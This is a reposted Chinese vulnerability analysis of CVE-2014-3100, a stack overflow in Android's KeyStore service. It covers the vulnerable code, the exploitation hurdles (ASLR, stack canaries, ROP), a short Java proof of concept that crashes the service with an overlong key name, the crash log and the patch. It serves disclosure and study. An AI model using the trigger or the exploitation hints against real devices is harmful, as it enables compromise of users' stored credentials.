Android KeyStore Stack Buffer Overflow (CVE-2014-3100)

來源:互聯網
上載者:User

標籤:

/*

本文章由 莫灰灰 編寫,轉載請註明出處。  

莫灰灰    郵箱: [email protected]

*/

1. KeyStore Service

在Android中,/system/bin/keystore進程提供了一個安全儲存的服務。在過去的版本號碼中。其它程式主要用過UNIX socket的守護進程/dev/socket/keystore去訪問這個服務。

然而。如今我們能夠通過Binder機制去訪問它。


每個Android使用者都有一塊其私人的安全儲存地區。

全部秘鑰資訊使用一個隨機key並用AES密碼編譯演算法加密。加密好的密文採用另外一個key加密後儲存到本地磁碟。

(後面的key通過PKCS5_PBKDF2_HMAC_SHA1函數算出來的)

在最近的一些Android版本號碼中,認證管理(比如RSA演算法的私人key)是能夠通過專門的硬體做支援的。這也就是說。keystore的key僅僅是用來標識儲存在專有硬體上的真正key。

雖然有專有硬體的支援,可是還是會有一些認證,比如VPN PPTP的認證,依舊會儲存在本地磁碟上。

圖一非常好的闡述了keystore安全儲存機制的工作原理。

當然,很多其它的關於keystore服務的一些內部資訊大家都能夠在網上找到相關資料。



2. Simplicity

通過源碼(keystore.c)中的凝視我們能夠知道KeyStore被設計出來的時候想的稍微簡單了點:

/* KeyStore is a secured storage for key-value pairs. In this implementation,* each file stores one key-value pair. Keys are encoded in file names, and* values are encrypted with checksums. The encryption key is protected by a* user-defined password. To keep things simple, buffers are always larger than* the maximum space we needed, so boundary checks on buffers are omitted.*/
代碼實現起來儘管簡單,可是緩衝區的大小並不總是比他們設想的最大空間要小。



3. Vulnerability

easy被攻擊的緩衝區主要是在KeyStore::getKeyForName函數中。

ResponseCode getKeyForName (<span style="white-space:pre"></span>Blob * keyBlob ,<span style="white-space:pre"></span>const android :: String8 & keyName ,<span style="white-space:pre"></span>const uid_t uid ,<span style="white-space:pre"></span>const BlobType type ){char filename [ NAME_MAX ];encode_key_for_uid ( filename , uid , keyName );...}
這個函數有好幾個調用者,外部程式能夠非常easy的通過Binder介面來調用它。(比如。int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t*
itemLength))。因此,惡意程式能夠非常輕鬆的控制變數keyName的值和長度。

接下來,encode_key_for_uid函數中調用了encode_key函數,這個函數在沒有邊界檢查的情況下會造成filename的緩衝區溢位。

static int encode_key_for_uid (char * out ,uid_t uid ,const android :: String8 & keyName ){int n = snprintf ( out , NAME_MAX , "% u_ ", uid );out += n;return n + encode_key ( out , keyName );}static int encode_key (char * out ,const android :: String8 & keyName ){const uint8_t * in = reinterpret_cast < const uint8_t * >( keyName . string ());size_t length = keyName . length ();for ( int i = length ; i > 0; --i , ++ in , ++ out ) {if (* in < '0' || * in > '~ ') {* out = '+' + (* in >> 6);*++ out = '0' + (* in & 0 x3F );++ length ;} else {* out = * in ;}}* out = '\0 ';return length ;}

4. Exploitation

惡意程式假設要使用這個漏洞,那麼還須要解決例如以下幾個問題:
(1).資料運行保護(DEP)。這個能夠採用Return-Oriented Programming (ROP)的方法繞過。


(2).地址隨機化(ASLR)。


(3).堆棧檢測(Stack Canaries)。
(4).編碼。小於0x30 (‘0‘)或者大於0x7e (‘~‘)的字元會被編碼之後再寫回到緩衝區中。


只是好在Android KeyStore服務被結束了之後立即會重新啟動,這個特性加大了攻擊成功的機率。此外,攻擊者理論上能夠使用ASLR去對抗編碼。


5. Impact

各種資訊泄露


6. Proof-of-concept

能夠通過下面Java代碼觸發漏洞:

Class keystore = Class.forName("android.security.KeyStore");Method mGetInstance = keystore.getMethod ("getInstance");Method mGet = keystore.getMethod ("get", String.class);Object instance = mGetInstance.invoke( null ); infmGet.invoke( instance ," aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");


執行上述代碼後。KeyStore進程奔潰,日誌例如以下:

F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )
I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/ DEBUG ( 949): Build fingerprint : ‘ generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15
J/ eng . android - build .20130801.155736: eng / test - keys ‘
I/ DEBUG ( 949): Revision : ‘0‘
I/ DEBUG ( 949): pid : 2091 , tid : 2091 , name : keystore >>> / system / bin / keystore <<<
I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ) , fault addr 61616155
I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8
I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b
I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202
I/ DEBUG ( 949):
I/ DEBUG ( 949): backtrace :
I/ DEBUG ( 949): #00 pc 0000 c937 / system / bin / keystore ( KeyStore :: getKeyForName ( Blob * ,
android :: String8 const & ,
unsigned int , BlobType )+695)
I/ DEBUG ( 949):
I/ DEBUG ( 949): stack :
I/ DEBUG ( 949): bff85ce0 00000000
...
I/ DEBUG ( 949): bff85d48 00000007
I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]
I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]
I/ DEBUG ( 949): bff85d54 b77765a3 / system / bin / keystore
I/ DEBUG ( 949): bff85d58 b7776419 / system / bin / keystore
I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]
I/ DEBUG ( 949): ........ ........
I/ DEBUG ( 949):
I/ DEBUG ( 949): memory map around fault addr 61616155:
I/ DEBUG ( 949): ( no map below )
I/ DEBUG ( 949): ( no map for address )
I/ DEBUG ( 949): b72ba000 - b73b8000 r -- / dev / binder

7. Patch

getKeyForName函數不再使用C風格的字串去儲存filename了。另外,使用了getKeyNameForUidWithDir函數去替代encode_key_for_uid產生編碼的密鑰名。前者正確的計算了編碼後密鑰的長度。


ResponseCode getKeyForName ( Blob * keyBlob , const android :: String8 & keyName , const uid_t uid ,const BlobType type ) {android :: String8 filepath8 ( getKeyNameForUidWithDir ( keyName , uid ));...}android :: String8 getKeyNameForUidWithDir ( const android :: String8 & keyName , uid_t uid ) {char encoded [ encode_key_length ( keyName ) + 1]; // add 1 for null charencode_key ( encoded , keyName );return android :: String8 :: format ("% s /% u_ %s ", getUserState ( uid ) -> getUserDirName () , uid ,encoded );}


原paper:http://www.slideshare.net/ibmsecurity/android-keystorestackbufferoverflow



Android KeyStore Stack Buffer Overflow (CVE-2014-3100)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.